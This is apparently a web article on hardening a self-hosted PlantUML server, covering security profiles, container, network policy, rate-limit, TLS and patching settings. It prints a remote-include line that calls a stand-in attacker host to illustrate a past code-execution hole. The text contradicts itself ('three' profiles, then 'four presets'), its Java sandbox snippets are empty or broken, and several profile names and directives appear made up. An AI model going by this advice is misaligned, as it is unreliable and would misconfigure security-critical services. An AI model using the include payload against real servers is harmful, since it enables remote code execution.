PlantUML security profiles: INTERNET vs ALCAPONE vs LEGACY
Self-hosting PlantUML means rendering attacker-supplied Java code. Two real risks: (1) OOM / arbitrary code execution inside the JVM, (2) hostile payloads burning your container’s CPU. This article walks through PlantUML’s three security profiles and the other hardening layers.
Three security profiles PlantUML’s PLANTUML_SECURITY_PROFILE env var selects one of four presets:
Profile
Disables
Use
LEGACYDISABLED (default)
Legacy APIs
Any service
INTERNET
Full sandbox, capped resources
Public services
ALCAPONE
Sandbox with some APIs allowed
Trusted internal
LEGACYUNSECURE
Nothing is blocked
Local development
1. INTERNET (strictest) 1 2 3 4 docker run -d \ -p 8080:8080 \ -e PLANTUML_SECURITY_PROFILE=INTERNET \ plantuml/plantuml-server:latest
Strict URL / size checks
!include and !includeurl disabled
Java reflection limited
Use for any publicly exposed PlantUML service.
2. ALCAPONE (moderate) 1 -e PLANTUML_SECURITY_PROFILE=ALCAPONE
!include enabled but path-restricted
!function allowed but no system calls
TEMPLATE theme allowed
Use for internal wikis with trusted users.
3. LEGACYUNSECURE (developer only) 1 -e PLANTUML_SECURITY_PROFILE=LEGACYUNSECURE
All functions enabled
Arbitrary Java execution possible
Only on a developer laptop.
How the sandbox works PlantUML uses SecurityManager (deprecated in Java 14+) plus a custom classloader:
1 2 3 4 5 6 7 8 SecurityManager oldSm = System.getSecurityManager();SecurityManager newSm = new UMLSecurityManager ();System.setSecurityManager(newSm); try { } finally { System.setSecurityManager(oldSm); }
Each render wraps security context. On Java 17+ the recommended pattern shifts:
1 AccessControlContext acc = doPrivileged(() -> { });
In practice PlantUML applies !policyj per-diagram for fine-grained permissions.
Best practices 1. Default to INTERNET 1 PLANTUML_SECURITY_PROFILE=INTERNET
2. Hardened container 1 2 3 4 5 6 7 FROM plantuml/plantuml-server:jdk17RUN apt-get update \ && apt-get install -y fonts-noto-cjk \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* USER nobody
3. Network policy 1 2 3 4 5 6 7 8 9 10 11 12 apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: plantuml spec: podSelector: { matchLabels: { app: plantuml } } policyTypes: [Ingress ] ingress: - from: - podSelector: { matchLabels: { app: editor } } ports: - { port: 8080 }
4. Rate limiting 1 2 3 4 5 6 7 limit_req_zone $binary_remote_addr zone=plantuml:10m rate=5r/s;server { location / { limit_req zone=plantuml burst=10 nodelay; proxy_pass http://plantuml:8080; } }
5 r/s per IP.
1 2 3 -e PLANTUML_LIMIT_SIZE=4096 -e MAX_URL_LENGTH=4096 -e MAX_FILE_SIZE=4096
6. Logging / monitoring 1 -e JAVA_OPTS="-Djava.security.debug=all"
1 2 3 4 livenessProbe: httpGet: { path: /healthcheck , port: 8080 } initialDelaySeconds: 30 periodSeconds: 10
7. Resource limits 1 2 3 resources: requests: { memory: "256Mi" , cpu: "100m" } limits: { memory: "1Gi" , cpu: "500m" }
8. Short life cycles 1 2 3 spec: restartPolicy: Always terminationGracePeriodSeconds: 30
9. TLS 1 2 3 4 5 6 7 8 9 10 11 12 13 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: plantuml annotations: cert-manager.io/cluster-issuer: "letsencrypt-prod" nginx.ingress.kubernetes.io/ssl-redirect: "true" spec: tls: - hosts: [plantuml.puml.online ] secretName: plantuml-tls rules: - host: plantuml.puml.online
DoS protection 1 2 3 4 resources: limits: cpu: "1" memory: "1Gi"
K8s OOMKills under attack.
1 2 3 4 5 6 7 apiVersion: policy/v1 kind: PodDisruptionBudget metadata: name: plantuml spec: minAvailable: 2 selector: { matchLabels: { app: plantuml } }
Two pods survive rolling.
RCE history Pre-1.2024.x PlantUML versions had remote code execution via !includeurl:
1 2 3 @startuml !include https://attacker.com/poc.puml @enduml
Fixed in 1.2024.7+. Always:
Run latest patch release
Use INTERNET profile
Anti-patterns 1. LEGACYUNSECURE in production 1 2 3 env: - name: PLANTUML_SECURITY_PROFILE value: LEGACYUNSECURE
2. No rate limiting INTERNET profile alone doesn’t stop DoS; a 1MB SVG / render is still expensive.
3. No patches vintage-PlantUML is dangerous. Patch monthly.
4. Shared filesystem 1 2 3 volumes: - name: shared hostPath: /shared
Don’t bind mount host paths — !include could leak sensitive files.
5. Reverse proxy without CORS 1 2 add_header Access-Control-Allow-Origin "https://puml.online" always;add_header Access-Control-Allow-Methods "GET, POST, OPTIONS" always;
Required when editor / plantuml are on different origins.
Audit checklist
Upgrade cadence 1 2 3 4 5 6 7 8 9 plantuml/plantuml-server --version docker pull plantuml/plantuml-server:2026.7 docker stop plantuml-server docker run -d --rm \ --name plantuml-new \ -p 8080:8080 \ -e PLANTUML_SECURITY_PROFILE=INTERNET \ plantuml/plantuml-server:2026.7
Cadence:
Monthly: trivial patches
Quarterly: minor upgrades
Yearly: major version
TL;DR The PlantUML self-host security recipe is “INTERNET + NetworkPolicy + rate limit + resource limits + TLS + monthly patch.” Skip any one, and you have a hole.